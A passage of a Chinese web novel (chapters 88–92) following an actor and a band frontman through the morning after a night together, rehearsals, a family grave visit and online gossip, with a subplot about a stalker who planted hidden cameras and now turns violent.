他伸出一只手抱住了尧新雪的腰,手指滑过细腻的皮肤,最后却只能烦躁地咬了一口尧新雪的锁骨。 尧新雪捏了捏他的颈,轻声说了句什么,才终于得以安抚这头濒临失控的野兽。 哪怕是这样最失去理智的时刻,宋燃犀也依然舍不得让尧新雪感到一点痛,他的动作慢吞吞的,甚至说得上是小心翼翼,最后让尧新雪不耐烦地拍了拍背。 于是宋燃犀又和他轻轻地交换了一个吻。 尧新雪的皮肤很白,因为常锻炼,身材属于劲瘦的类型,此刻与宋燃犀更高更壮的身材相比,就显得更瘦、更薄。他们两个人有着明显的体型差。 两人的身体均有着不同程度的疤痕,此刻紧密相贴,仿佛得到了灵魂的相认。 雪白的手臂在月光之下能看到黛青色的血管,漂亮修长的手指难耐地攥着沙发的表面,最后又被一只更粗的、肤色更深的手紧紧扣住。 宋燃犀满腔沸腾的恨意,全部倾泻在了这个鲁莽的重复的动作里。 他强烈地恨着不负责任的、不爱他的尧新雪,却又始终无法控制着自己不去像幼犬依赖着母亲般爱恋尧新雪。 宋燃犀的恨与爱都不纯粹,所有感情都似是而非,在今天终于得到了发泄口。 尧新雪漂亮的眉皱起,那把动人的嗓子沙哑,他偶尔会叫宋燃犀的名字,偶尔又像是呼吸不畅。在宋燃犀没有注意到的角度里,他半睁着泛着生理性泪光的双眼,死死地盯着宋燃犀腰上的那个伤口。 尧新雪曾经在那里签下自己名字的位置,宋燃犀曾经把那个名字纹了下来。 后来车祸的大火彻底燎伤了宋燃犀的皮肤,那个纹身早已烧得看不清楚,只剩下了一片崎岖不平的痂、丑陋的增生。 尧新雪的双手被宋燃犀紧紧禁锢着,嘴唇早被咬破,宋燃犀疯了一样地向他索取,像一个亡命徒知道着不会再有明天,所以想要尽情享乐。 在那如潮的欢愉里,宋燃犀感觉到尧新雪温柔地抱住了他毛绒绒的湿漉漉的脑袋。 那些蓝色的长发垂落在铺着月光的地板上,宋燃犀感觉到尧新雪的唇温柔地覆上自己的唇,然后贴着他的耳朵说:“给我。” 第89章 尧新雪第二天醒来的时候已经将近早上十点,身边的人早就已经不见了。 昨晚宋燃犀抱着他去清理的时候,他就已经有些犯困。清理的时候宋燃犀的动作是这么的轻柔,仿佛把他当做了什么珍贵的宝物,不知道是不是对晚上的事后悔了。 尧新雪只感觉到自己被抱着,身后就是宋燃犀坚实的胸膛,温热的水流淌过他的手臂,浴室内安静得只能听到水滴滴落的声响。 宋燃犀轻轻地洗过他的手,洗过他的指缝与手背,又小心地洗净他的长发。 蓝色的长□□浮在水中,最后宋燃犀将下颌垫在了尧新雪光裸的肩膀上。 尧新雪感到疲倦,眼睛几乎要闭上,却听到宋燃犀仿佛梦呓般低声叹息:“尧新雪,你可怜可怜我吧。” 床铺很干净,尧新雪醒来时身边已经空无一人,偌大的床上甚至没有其他褶皱,如果不是身上隐隐作痛,尧新雪甚至会怀疑宋燃犀是否来过。 他侧过身来玩了会手机,回复了几条信息后就打着哈欠站了起来。 雪白的被单滑落,露出尧新雪身上交错的吻痕与齿印,腰处甚至留有着明显的指印,所有痕迹都昭显着昨晚的疯狂。 尧新雪站在镜子前,侧了侧颈,让蓝色的长发都落到一边,露出颈侧一圈明显的牙印,于是轻轻笑了笑,说:“属狗的。” 等他又进去浴室洗完一个澡,走到客厅时,就看到了餐桌上摆着的热乎的早餐,沙发也早早地清理好了,换上了新的被套,干净得像是没人来过。 尧新雪的心情不错,吃了面后又乖巧地喝了一杯热牛奶——宋燃犀想要照顾人的时候总是很细心的,准备得很周到,对尧新雪总是像是养猫或是养小孩那样。 尧新雪看了一眼群聊,就知道那个小配角梁吾在今天被踢出了工作群,同时还在网络上爆被出了一堆丑闻,一些工作人员都在疯狂地吃瓜讨论。 尧新雪看得津津有味,吃完之后就钻回了工作室开始捣鼓各种各样的乐器。 他的家里有一个专门用来搁置乐器和各种设备的房间,而他随手拿起一个乐器,随意地拨弄一下就能弹奏出美妙的旋律。 尧新雪的音乐才能令外行人瞠目结舌,又能令内行人心折不已。在过去条件极其有限的时候,他就能凭借着一把破旧的吉他弹出一首催人泪下的歌曲,这首歌在人前唱出后就让他驻唱的酒吧夜夜座无虚席。 他是天生的主唱,是为音乐而生的。 但敏感的耳朵也让他备受折磨,尧新雪总是睡不好,他在睡觉时听不得任何细微的声响。 尧新雪甚至厌恶环境的变化,对物品的摆放有着严格的要求,所有发出声响的东西都必须一模一样,包括坏了的闹钟。 在幼年时期,尧新橙需要每天晚上都抱着尧新雪,让尧新雪听着自己的呼吸与心跳,尧新雪才能入眠。 此刻他站在地板中央,拿着一把小提琴架在自己的颈旁,用着优雅而标准的姿势拉动了琴弓。 阳光透过窗,映照出一个美丽的剪影,悦耳而温柔的琴音流淌在偌大的房间内,尧新雪想到哪就拉到哪,曼妙的旋律却不输名曲。 他在纸上潦草地写了个关键词“鲜花”,试着各种乐器希望得到关于这个关键词的印象旋律。尧新雪能在这里待上一整天,他工作时手机关机,为了找到那个几秒的旋律,不惜花上好几个小时甚至是几周。 尧新橙推开门的时候看到的就是这一幕,尧新雪趴在窗台上,穿着白色的丝绸睡衣,蓝色的长发沿着耳侧淌落到地板上。 月光如同一层薄被披在他身上,他垂着眼睛,嘴里轻声哼唱着几个字,旁若无人地抬起修长的手指轻轻地拨弄起旁边的音束。 音束晃动相撞,发出空灵的、清脆而明亮的声响。 尧新雪的皮肤白皙,手指停下时,眉有些困惑地皱起。 尧新橙看着这一幕,无声地挑了挑嘴角。 在打了两次电话,尧新雪都没有接时,尧新橙就知道他在开始准备新歌的事。尧新雪不喜欢任何人打扰,因此尧新橙来到时甚至没有敲门。 他安静地矗立在门口,望着尧新雪的身影,直到那点声音最后消失。 尧新雪才侧过头看向他:“记住了吗?” 尧新橙默声点点头,他从旁边拿了一把木吉他,然后坐在了旁边,看着尧新雪坐在钢琴旁。 尧新雪的双手落在了黑白相间的钢琴上,尧新橙只看了他一眼,就垂下头看着自己的双手。 两人同时开始了演奏,钢琴完美复刻了前一秒尧新雪自己哼唱着的旋律,连音高都相差无几,尧新橙的吉他同时接了上去,他故意慢了一拍,仿佛被钢琴的声音引领着走一样。 吉他同样还原了尧新雪哼唱的旋律,甚至没有一个错音,两人仿若心有灵犀。 尧新雪说:“再来。” 于是尧新橙又配合着重复了一遍。 加快、再加快、一两个音节的改动,声音强弱的调整,尧新雪的手指翻飞在琴键之间,他垂着眼,极度相似却又不尽不同的曲调在他的手里如同从泥稿开始逐渐成型的雕像,在微调的过程中逐渐符合比例并趋近完美。 这个过程无声且高速,仅凭借着尧新雪的想法而走。他真是当之无愧的天才,看似随心所欲,却能让人明显感到旋律的情感变动与升华。 而尧新橙却也能随着一次又一次改动不断提速,并且用吉他做出类似的颤音或泛音,这全都归根于长年累月的刻意训练与技巧打磨。 尧新橙并不是天才,但他却是吉他手中佼佼者的佼佼者。他甚至没有一点天分,注定对尧新雪难以望其项背,却因为长时间的大量苛刻的练习将吉他技巧练了起来。 他曾经练得十指破皮发烂,绑着绷带也要完成每日的练习,后来被尧新雪制止后才停下,绷带下的双手早已血肉模糊。 那时尧新雪是怎么和他说来着。 尧新橙的心中泛起一丝酸与甜,那时小小的尧新雪问他:“为什么要做到这个地步?” 但他在明知故问,所以尧新橙没有回答。 这个答案是这样显而易见——吉他手能站在离主唱最近的位置,仅此而已。 “不对。” “再来。” “再来。” …… 尧新雪几乎微调了二十多遍,他的完美主义曾经一度让薛仰春感到崩溃,只有尧新橙一声不吭地一一完成。 他不愿意做会被替代的那一个——即使只是作为尧新雪乐队里的贝斯手。 等到尧新雪满意,时间已经接近凌晨。 “找我有什么事?”尧新雪终于想起了问这个问题。他慢吞吞地摸着自己空空的肚子,看向尧新橙。 尧新橙看着他的小动作,眼底漫上笑意,却又在看见他颈侧的齿印后淡去。 自从尧新雪对他明确表示过,他们不可能成为那种关系之后,尧新橙就再也没有做过任何逾矩的事。 他退回到了原来的位置,又成为了沉默寡言的“弟弟”。 “我先,做饭。”尧新橙转开了目光。 他去厨房简单地做了两个菜,尧新雪趁这个时间写了下乐谱。 尧新橙的厨艺一般,比上不足比下有余,尧新雪只吃了一半就放下筷子了。 尧新橙看着他,直接进入了正题:“我查到了,那个在,梅梢月家,装监控的人。” “钟鸣,二十五岁,是一名,工程师。他曾经,在孤儿院,和我们是,同一期的人。”尧新橙平静地注视着尧新雪,“钟鸣,和梅,在火灾后,去了,同一个,慈善机构。” “机构的人,告诉我,他们,有印象。这两个人,玩得很好,甚至互称……”尧新橙避开了眼睛,“兄弟。” “钟鸣,放弃了,被领养的机会。他们,带走的是,梅梢月。” 尧新雪的眉终于皱了起来,显然尧新橙说出来的话让他有些意外。 钟鸣和梅梢月同是慈济孤儿院的人,两人在慈济孤儿院烧毁后去到了同一家慈善机构,据工作人员回忆,他和梅梢月是熟到可以称兄道弟的关系,钟鸣在最后甚至将被富裕家庭领养的机会拱手让给了梅梢月。 而同样在梅梢月的家、工作室甚至是浴室装上针孔摄像头的人,在网站上公开梅梢月所有私密照片的人,同样是钟鸣。 如果没有钟鸣的让步,恐怕梅梢月无法成为万众瞩目的歌手,音乐才能未能被发掘。但同样的,钟鸣安装的摄像头也是助推着梅梢月自杀的重要原因之一——梅梢月曾经在厕所发现摄像头,呕吐严重得精神崩溃。 尧新雪在去照顾梅梢月的时候发现了那个隐秘的摄像头,却没有提醒梅梢月,因为他知道或许这个能够被利用。 那时尧新雪冷静而无情,只有梅梢月崩溃得彻底、迅速,才能让段以宿得到他的股份,尧新雪也才能借此对段以宿发难。 钟鸣控制着所有摄像头,自然也就知道梅梢月在死前打了一通电话,哭得形容狼狈,也就知道梅梢月在这之后彻底崩溃,选择吞药自杀。 而凌晨一点,梅梢月会在这时给谁打电话呢? 尧新雪点了点桌子,眼神闪过一丝厌恶与狠戾。 “对网站进行取证,你去钟鸣家走一趟。”尧新雪吩咐道。 他最后一句话让尧新橙的表情顷刻变得凝重。 尧新雪的嘴角挑起一抹嘲弄的笑:“最近一直有人跟着我。” 第90章 宋燃犀睁开眼看着天花板,抬起手搭在自己眼睛上后呼了口气。 他昨晚凌晨才结束片场的工作,因为记得应怜说今天想去寺庙,所以连夜开车回来了。 他从床上坐起来,看了眼旁边的床头柜上的照片,上面是宋家一家三口的照片。 二十一岁的宋燃犀站在中间,开朗地露齿而笑,应怜莞尔,连素来严肃的宋洲也露出了笑意。 那天真是好天气,湛蓝的天空宛如巨大的蓝色钻石,阳光灿烂,草坪透着欣欣向荣的青色,宋燃犀甚至记得那天的所有细节,他记得空气干燥,记得草尖上的水珠甚至折射着晶莹剔透的光辉。 宋燃犀极轻地叹了口气,最后闷声换下了睡衣,换上了一件黑色的高领外套。 洗漱完后他就走下了楼,应怜已经坐在了餐桌上,看到他甚至有些讶异:“你这么早起?昨晚不是很晚才回来吗?” “你怎么知道?”宋燃犀懒洋洋地吃了个包子。 “阿姨告诉我的。”应怜还在看他。 宋燃犀揉了揉眼睛,声音沙哑:“你不是说今天想去寺庙吗,我送你。” “那你再回去睡会,我们晚点再去。”应怜说。 宋燃犀拉长声音“哎”了一声:“晚去就晒死了。” 应怜笑了:“我还没嫌晒呢,还不是因为你睡少了。” 宋燃犀知道拗不过应怜,于是含混应了准备回楼上睡一个小时。 应怜却叫住了他:“小犀。” 宋燃犀回过头看她。 应怜指了指自己的颈侧:“你这里青了。”她从旁边的药箱里拿出一瓶药酒,像招小孩一样叫宋燃犀,“过来,我帮你揉揉。” 应怜总是能发现他身上的伤。哪怕只是一点点淤青,她都会注意到,有些甚至连宋燃犀自己都未必知道。他想,大抵是因为天下母亲都是一样的。 宋燃犀的目光变得柔和,不自觉地摸了摸自己的颈,他正想要走过去,结果像是忽然想起了什么,猛地停住了脚步:“没事,我自己揉吧。” 他走过来接了药酒,又重新拾起笑容挥了挥:“那我先回去睡觉,你别趁我睡觉自己跑了。” 应怜因为他的拒绝有些怔愣,最后也笑了笑:“不会的,你记得擦。” 等看着宋燃犀转身上楼,她才不着痕迹地松了口气。聪慧如应怜,当然知道宋燃犀一瞬间的迟疑是为了什么。 宋燃犀有些懊恼地关上门,像一只大狗,坐在了地上。他站起来在镜子面前扯了扯自己的衣领,终于看到了颈侧的那一点牙印。高领只遮住了三分之二,也就应怜能敏锐地注意到。 除了这圈牙印,他的背上还尽是抓痕,跟猫抓出来似的。 都是因为尧新雪。 宋燃犀叹了口气,就又躺到了床上。 等他醒来时已经接近九点半,山寺正是人最多的时候。 宋燃犀戴了个口罩,又往头上压了顶帽子。 “走吧大明星。”应怜看着他的样子,忍不住唇角一弯。 应怜拜佛总是很虔诚,甚至会在特定的日子里吃斋,一些佛教的习惯随着年月已深深地烙在她的骨子里,明明她的一生都衣食无忧,却还是总是在许愿,总是在悔过自省。 宋燃犀是不信这些的,但在跪拜和上香时也很认真,摘下了口罩和帽子。 宗教相关的一切能让人内心平静,他拜完之后,缓缓地松了口气,跟应怜并肩走了出去。 “要是换作以前,你早大喊我是封建迷信了。”应怜道。 “我长大了。”为了让应怜避开旁边的人,宋燃犀扶了一下她的肩膀,不以为意。 “有时候,我反倒不希望你长大。你小时候那么乖,像个糯米团子,总是动不动就掉眼泪。一开始不会说话,只会一边流泪,一边喊妈妈。 后来你长大了一点,却又很容易生病。你知道吗,在你做那场手术之前,你的爸爸握着你的手说,小犀啊,平安出来,我们都等着你呢。 你当时打了麻醉,本来应该已经不清醒了,却突然掉了一滴眼泪。” 这是应怜在那场车祸第一次提到了宋洲,宋燃犀的心先是颤了一下,然后转头看向她。 应怜的声音顿了顿,压抑住情绪后才转过头向宋燃犀温柔一笑:“还好你平安出来了,我们当时在外面真的要急得掉眼泪了。还好你现在啊,已经长得这么高了。” “我们都希望能看着你成家,看着你健康,我不渴望着你能有什么成就,只希望你能平安喜乐。” 宋燃犀无声地拍了拍她的背。 应怜继续说:“所以你有喜欢的人,妈妈很高兴,毕竟你在这之前只知道电影电影的念叨。如果可以,就把人家带回家来看看吧,男孩子也很好啊,妈妈会尽量不给你丢人的。” 说完,她淡笑着看了宋燃犀一眼。 宋燃犀的动作一僵,把自己的外套搭在应怜的肩上,然后故作轻松道:“您哪丢人了,这话说出去别让人家笑掉大牙了。” “好啦,我只是希望你别有负担。”应怜慢慢地走在路上,“你最近把自己绷得太紧了。直到现在我才敢提,我不忍心看着你这么煎熬。 我知道,你对你爸爸的事有所愧疚。但是,你不应该以舍弃自己幸福的方式来减轻这个心理上的负担。他……不是因为你,你从来没有做错过什么,爸爸也一定希望,一定希望你能够快乐。”应怜轻轻地叹了一口气,她转过身抱住了远比她高大的宋燃犀,慢慢地拍了拍他的背。 她松开手时,顺手往宋燃犀的兜里放了一个保平安的手链:“保平安的,带在身上吧。” “嗯。”宋燃犀看着应怜,目光晦暗,最后低声道,“妈,谢谢你。” 应怜摆了摆手。 宋燃犀看着载着应怜的车驶远,才坐上了自己的车。 他去花店买了一束花,然后开车去了墓园。 宋燃犀将花放在了宋洲的墓碑前,然后就毫无形象地靠着墓碑坐下了。 他的胸口闷闷的,听了应怜的一番话,有些嘲弄地笑了下,笑自己的心思就这样被看得明明白白的。 宋燃犀在出院之后第一时间就去看了宋洲的墓,他只是脸色惨白,什么都不说。 车祸后的那一会他总是不敢面对,没有任何人苛责他,可他还是觉得残忍——他觉得对于宋洲来说,太残忍了。 后来随着时间的推移,宋燃犀终于敢去看了,像过去一样扯起家长里短。 宋燃犀随意地对着墓碑谈起了自己的近况,又坐着发了两个小时的呆,最后拍了拍宋洲的碑说:“放心吧,我会照顾好妈妈的。” 他的手机静音,出了墓园,才拿出来看一眼。 宋燃犀的眼睛微微眯起,只见到消息爆炸,在无数的红点里,宋燃犀准确地找出小言的那一栏,终于知道了原因。 他和尧新雪上热搜了。 有人将试镜的视频流了出去,并且夸大其词地声称宋燃犀与尧新雪关系不和。 在视频里,宋燃犀因为看到门口的尧新雪脚步一顿。 他的眉毛拧起,表情变得冷淡,却又碍于尧新雪与杨柯同时出现,不得不去和杨柯打了招呼。 视频清晰地拍到了两人视对方为空气的样子,隔着屏幕都能闻到淡淡的火药味,所有网友在这一秒都兴奋了起来。 一个是资质卓越命运坎坷的影帝,一个是天赋异禀漂亮非常的乐队主唱,光是知道这两个人有交集,就已经足以让人兴奋。 镜头一晃,最后的五秒里,停在了宋燃犀强行拽着尧新雪走进更衣室的样子。 【啧啧啧感觉宋燃犀火大得想吃掉我们雪猫。】 【拽这么用力,这是多大的仇多大的怨啊?】 【要不是画质太垃圾我都差点以为是AI做的了。】 【什么我的拉郎CP突然成真了??】 【我靠我嗅到了瓜的味道……】 …… 五花八门的评论将这个营销号的推文一举推上了热搜第一,其中不包括黑羊的粉丝、宋燃犀的粉丝与尧新雪的粉丝。三方大混战加上好吃瓜的路人,评论区的走向已经发展到了宋雪之间的爱恨情仇。 更有甚者扒出了两人没火前同居出租屋做室友的过去,纯恨狗血巨星相争的故事秒变出租屋文学相伴相离的散伙人。 宋燃犀看着评论区的神人越编越离谱,却又无限接近事情的真相时,恨得几乎牙痒痒,他下意识地摸上了自己的颈,仿佛尧新雪留在上面的牙印还在隐隐作痛。 他知道尧新雪从来不关注这些乱七八糟的文娱新闻,却又忍不住心想,这个人看到这些会怎么样。 尧新雪会是什么反应?觉得好笑吗? 小言打的第一百零八个电话终于被接通时,他几乎要迎风流出两条面条泪:“老板,我们删都删不完,这条热搜的流量太大了。” 宋燃犀原本想自己用账号进行澄清,但又碰到了衣袋里的手链。 那条手链让他有些回神,想起了今天早上应怜说的所有话。 宋燃犀感觉到自己的心脏砰、砰地跳着,最后把消息框里的“我们没有任何关系”删掉。 他对着小言冷淡道:“不用管,随他们猜去吧。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 尧新雪确实不在乎什么文娱新闻,只要不是恶意造谣他的乐队,他基本都保持着不关心不在乎的态度。 因此哪怕不算这次,他光是以前就有上过不少次热搜,他到现在都对这事毫无实感。 倒是薛仰春看到了不停啧声,感慨着时代确实是变了。 作为从出租屋时期走到现在的同伙之一,她时为数不多的,知道尧新雪和宋燃犀到底有何交集的人。 她在这几日已经从高喊“我们队长和宋燃犀哪有那么多关系他最多不也是众多追求者之一”到“嘿嘿宋雪99”。 当她兴高采烈地把炒着宋雪CP的拉郎剪辑视频发给尧新橙时,尧新橙冷着脸将她删掉了,并且拿过她的手机,替她把主页内含宋雪的账号都全部取关。 薛仰春长嚎一声:“你干嘛啊!” 刚好被路过的尧新雪听到。 尧新雪看到薛仰春揪着尧新橙的头发,泪眼汪汪地要抢手机,尧新橙则面无表情地举高手机,两人如同幼稚的小学鸡。 “还给我!!你居然还敢把我的宋雪全删了!!”薛仰春假哭得很真诚。 “不给。”尧新橙冷漠道。 “给我!” “不给。” …… 尧新雪本来站在门口看戏,却又在听到某两个字时挑了挑眉。 大块头罗槐本来沉默地看着这两人打闹,注意到了门口的身影,于是目光沉静地拎起眼前两人背后的衣领,强行将两人分开,把两人一人放到了沙发的两头。 薛仰瞪了尧新橙一眼,尧新橙却在看清了门口的人后背稍微挺直了一点。 薛仰春嘴里的脏话也在那一刹戛然而止,她乖巧地坐好,甜甜地叫了句:“队长。” 尧新橙硬邦邦地说了句:“哥哥。” “小橙把手机还给她。”尧新雪非常不公平地把心偏到了薛仰春身上,尧新橙抿了抿嘴,在薛仰春的欢呼中把手机还给了她。 尧新雪慢条斯理地坐到了他们两个人的中间,优雅地翘起腿,薛仰春狗腿地在他的面前倒了杯可乐。 “还给你了,那你就说说宋雪是怎么回事吧。”尧新雪配合地捏起塑料杯,抿了口可乐,他的姿势总是赏心悦目,优雅得无可挑剔,仿佛喝的不是十块钱一瓶的可乐,而是价值八位数的红酒。 尝过后,他温和道,“注意不要喝太多气泡水。” 罗槐和薛仰春的脸色浮现出一点微红,倒不是因为着尧新雪昨晚偷偷图灌了三大瓶可乐,而是因为尧新雪问的那回事。 还好罗槐的肤色比较深,即使脸红也看不出来。 薛仰春脸红得跟猴屁股似的,瞬间就出卖了她有多么心虚。 尧新雪挑眉看着她:“说话。” 薛仰春因为这两个字腿一软,一下子全招了。 上到R18同人本,下至万字长篇宋雪磕点细节解说,薛仰春如同被皇帝审判的小太监,恭恭敬敬地道完了所有秘辛,就差没跪下来忏悔自己吃得津津有味的罪过了。 尧新雪的表情倒是没有什么变化,只有尧新橙的脸上青了又白,白了又青。 薛仰春兴奋又忐忑地等待着正主尧新雪的反应,等了三秒,只听到他优哉游哉地说:“我看你最近很闲,有时间听一下DEMO,新曲可以跟罗槐多走几遍了。你们的配合还不够默契。” 薛仰春一听这话就像植物被太阳照射到了一样瞬间变得萎靡不振,她认真回想了世巡的最后几场巡演,她最多只弹错过两个音,和罗槐打配合慢一点点。 现场的效果哪怕最刁钻仿若听众都未必能听得出来,只有尧新雪在唱得大汗淋漓,回到休息室后还能一一指出每个人的失误点。 薛仰春原指望浑水摸鱼,说不定半个月之后尧新雪就忘记这岔了,结果当全体排练,她再错同一个音时,尧新雪直接停下了。 他看向薛仰春,表情依然温柔,眼睛微微弯起:“第二次,事不过三。” 薛仰春当场吓出一身冷汗,再也不敢糊弄尧新雪。 她对尧新雪的感情很复杂,既爱,又怕。 因为尧新雪对音乐的高度追求,又是严苛的队长,乐队里数她最怕尧新雪。但尧新雪又总是很照顾她,除了重大事项以外的安排都以她的意愿为主,很多时候,既像妈妈,又像哥哥。因此薛仰春又总忍不住想要靠近他。 凭着前车之鉴,薛仰春迅速地点了点头,认错态度良好:“队长说得对,我应该好好打鼓,不把闲碎时间花在关注您的……额咳上,我会好好安排鼓组的!” “不错,再接再厉。”尧新雪点了点头,“平身吧小春子。” 薛仰春听他的语气如常,立刻坐了起来,如同一只乖巧的小狗,傻笑着晃了晃尾巴。 尧新雪看了周围的几个人一眼,愉悦地弯起眼角:“走吧,差不多到时间了。” 他身边的三个人异口同声地说了:“好。” 今天是黑羊乐队的专访,三个男生挤在了沙发上,尧新雪坐在离记者最近的位置,薛仰春则独占旁边的小沙发。 记者是个年轻的女孩,看到四个人出现先是不可控制地叫了一声,然后才整理好自己的表情。 薛仰春忍不住噗哧一笑。 因为稿子提前给尧新雪看过,所以基本没有刁钻的问题,主要还是围绕着黑羊的几张专辑展开,包括日后的计划。 记者微笑着看着尧新雪:“听说黑羊的词曲都是由你来包揽,新雪,是不是有点太过全能了?” 尧新雪莞尔:“谢谢,但有些过于夸张了。我提供了DEMO,乐队的成员各司其职,在这上面加上自己的理解和改编,最后大家听到的版本其实结合了乐队所有人的意见。” 他的声音温润,如同涓涓溪水流淌过别人的耳朵,是这样好听。 “今后黑羊的计划是什么?我了解到,你们的新专辑出了中英两个版本,在海外引起了巨大的反响呢。” “我希望能有更多的人听到黑羊的歌曲,我希望……”尧新雪的眼神变得认真,“黑羊能成为世界上最好的乐队。世巡是第一步,新专是第二步,之后我们要彻底走向世界,让更多的人听到我们的声音。”说完,似乎觉得有些不太合适,尧新雪苦恼地侧了侧头。 记者也愣了一下,这是尧新雪说出的,唯一一次具有强烈个人色彩的回答。在过去捧踩他的采访里,尧新雪总是表现得不卑不亢,甚至有意提起乐队成员,利用自己来提高其他乐队成员的关注度。 他的回答总是官方又无可挑剔,能第一反应出最完美的答案,以至于采访过他的人都声称着这位主唱的心思缜密,细腻甚至到了可怕的地步。 记者偷偷观察了一下周围人的脸色,只见其他人的表情都平淡如常,仿佛没有注意到尧新雪的异样。 于是她定了定神,重新换了个问题。 采访顺利结束,记者看着摄像机关闭之后,才忍不住涨红了脸问:“请问能问您一个离谱的问题吗?我真的很想知道,但是比较私人,如果您觉得不方便回答就当我没说!!” “你说。”尧新雪挑起眉。 “请问……请问您和宋燃犀的关系真的很差吗?”记者小声并快速地问道,薛仰春甚至没听清。 尧新雪似笑非笑地看了记者一眼,对方已紧张得瑟瑟发抖。 “我们的关系……不好不坏吧。”尧新雪装作认真思考的样子,回答了一个模棱两可的答案。 记者原地激动得跳起来,以至于薛仰春差点就想立刻冲上去握着她的手和她大喊“宋雪”并认亲。 “不好个屁……都瞎了吗他们俩好得不了!”钟鸣气愤地猛一锤桌子,眼睛的血丝如同抽搐着的红蛛网,“就是他们,就是因为他们……” 在他的面前,是巨大的线索板。 上面用图钉和红线,将各张照片千丝万缕的关系清晰地罗列了出来。 按照时间顺序,第一张,是尧新雪回国后第三天,两人躲在楼梯间里抽烟。镜头清晰地拍到了尧新雪美丽的侧脸与戏谑的眼神,宋燃犀颓然地靠在墙上,只有手间的烟头在这一瞬间映亮他的脸。 第二张,是私人餐厅的门口,尧新雪的手放松而闲适地搭在车窗上,正提起嘴角,微笑着说着什么。 …… 第三张,第四张,第五张……长达三年的照片被全部拍摄或搬运到了这里来,两人亲密无间的样子或清晰、或模糊地被钉在了白板之上。照片上甚至备注着黑笔书写的小字,无数条红线将这些联系在了一起,最后都指向了梅梢月三个字。 昏暗而窄小的房间里,钟鸣有些神经质地抓了抓自己的头发,仿若一个疯子痴痴地望着这个白板:“都怪他们,都怪他们……” 尧新橙猛地踹开了房门,钟鸣的身子在那一刻也猛地一震。 他的脸色变得铁青,尧新橙注视着空无一物的室内,最后打了个电话给尧新雪。 他慢慢说:“哥哥,钟鸣,不见了。” 第92章 “尧老师,您准备好了吗?” “嗯。” 尧新雪扶了一下自己鼻梁上的黑框眼镜,经过小助理时微笑着和她点了点头。 因为拍杂志需要,他穿上了一件露背的V领纯白色流苏短袖毛衣与黑色紧身皮裤。 这件裁剪得极短,V领几乎开到肋骨处,衣服的下摆是一排纯白的流苏。身后的衣料同样分开得如同燕尾,露出他背部大片的白皙皮肤,也让他那分明的背沟与极薄的肌肉展露无遗。 正面看去,能清晰地看到尧新雪的锁骨与胸口。 设计师是个鬼才,这件衣服设计得过于刁钻,基本没几个明星愿意穿,要么穿出来显得难看,犹如披上了一块破布,偏偏尧新雪穿得既显高挑,又显出几分慵懒。 小助理看着他用手指上下推了推眼镜,挂在镜架上的银链微微晃动,纯白色的衣服显得他的皮肤更白,仿佛是完美的人形模特。黑色的紧身皮裤勾勒着他大腿的轮廓,在接近胯|骨的位置,甚至开了几个岔口,又用绑带交错着绑住。 尧新雪只用了几秒就接受了要穿这件衣服拍特写的事实。 “不用特意摆什么动作,您听着摄影师的话调整就好。”小助理看呆了,好几秒才反应回来提醒道。 尧新雪好脾气地点了点头:“好。” 摄影机在看到他走进来之后就举起了相机并微笑示意,镜头里的尧新雪还是懒洋洋地如同一只猫,可任何人都没有他的那份优雅与神秘。 他像一个美丽的秘密,引人探究,引人狂热。 摄影师给尧新雪拿的道具是一只红苹果,告诉他,只要吃苹果就好,摄影机会随着他的动作调整。 尧新雪于是真的慢慢吃起了苹果。 他的脑子习惯性地在同时想好几件事情,目光落在某个点上,眼睛澄净、天真得却不像是在走神,而是在认真地在吃苹果。 雪白的牙齿咬开了苹果,红艳的唇舌上甚至沾着些许剔透的果汁。镜头下,他凸起的喉结随着吞咽的动作慢慢滑动,天使般温柔、美丽的面容看上去脆弱、乖顺,可五指却紧紧笼住了苹果,下意识的动作让人意识到,他可能早已习惯着将任何东西都牢牢控制在手里。 矛盾的、极具张力的画面被摄影师捕捉到。 那只手雪白、修长、骨节分明,手背上却透着黛青色的血管,这样一只完美得无可挑剔的手却因为攥着红苹果青筋凸起,仿佛暗示着这只手的主人其实是戴着艳丽面具的恶鬼。 在场的所有人都目不转睛地盯着这一幕,屏息敛声,如同被抽掉了魂。 在所有人的注视下,尧新雪仿佛是被关在培养皿里的实验品,一瞬间成为了人人心尖上的那点血,然而他却仿佛浑然不觉,既不在意周围人狂热的视线,也不介意自己的各处被几十个镜头里无限放大。 拍摄完成得很顺利,在场的人都鼓起了掌,响起一阵欢呼,尧新雪也谦虚地笑了笑,跟着鼓起了掌,说了声:“各位辛苦了。” 他刚刚一直在想钟鸣的事,尧新橙的电话引起了他的注意。 钟鸣搬家了,甚至和公司辞了职,旧屋收拾得干干净净,之后甚至再也没有任何消费记录,入职记录,租房记录,仿佛彻彻底底地从这个社会上消失了。 当他走入监控的死角,就再也没有出现过。 尧新雪清楚这种行为背后指向的意义,这很可能意味着钟鸣已经成为了一个彻头彻尾的亡命徒。他切断了自己与正常社会的一切联系,游离于所有人的视线之外,还能想做什么? 他能将监控装得遍地都是只为了窥探梅梢月生活,自以为是地“喜欢”梅梢月到了极点,自然也就想要为梅梢月的死复仇。 他不能跟网暴梅梢月的键盘侠寻仇,不能跟破产后杳无音信的段以宿寻仇,那他的报复对象可以是谁? 自然就是梅梢月死亡最后最后的既得利益者。 尧新雪从不给自己留下任何把柄,他做事干净狠绝,刺激段以宿抢夺股权,刺激梅梢月彻底绝望,但这场和段以宿的暗斗直到最后,所有人看到最大的赢家都只是宋燃犀。 尧新雪轻轻推了宋燃犀一下,他就从此风头无两,也就此成为了所有视线的中心——枪靶的中心。 黑羊版权的所有权以不公开的方式转交到了尧新雪的手上,作见证的仅有宋氏集团的高管与宋燃犀。这些人绝对不会出卖自己,而知情者李洋也胆小如鼠,自然也不敢露出什么马脚。 钟鸣会知道尧新雪才是那个最穷凶极恶的“杀人犯”吗? 柔软的毛衣随着他抬起的手臂滑落,暗光下,尧新雪的皮肤光洁、细腻如瓷,他垂着眼,漂亮的面孔却是如此冷戾。 他慢条斯理地套上原本的白色衬衫,动作间回忆梅梢月死后的所有日子,终于在记忆里搜寻到回国后那些细微的不对劲。 在那些他和宋燃犀亲近的时刻——一直都有人在看着他。 尧新雪的心一沉,毫不犹豫地侧过头躲开了从黑暗里突然冒出的一击,随着震耳欲聋的“砰”的一声——是铁棍与柜面相撞时发出的声音。 尧新雪冷冷地道出了两个字:“钟鸣。” 对方轻蔑地笑了一声,然后毫不犹豫地将铁棍拉回,再一次抽向尧新雪。 因为工作已经结束,贵宾休息室的隔音也极好,所以基本没有人注意到这么大的动静。 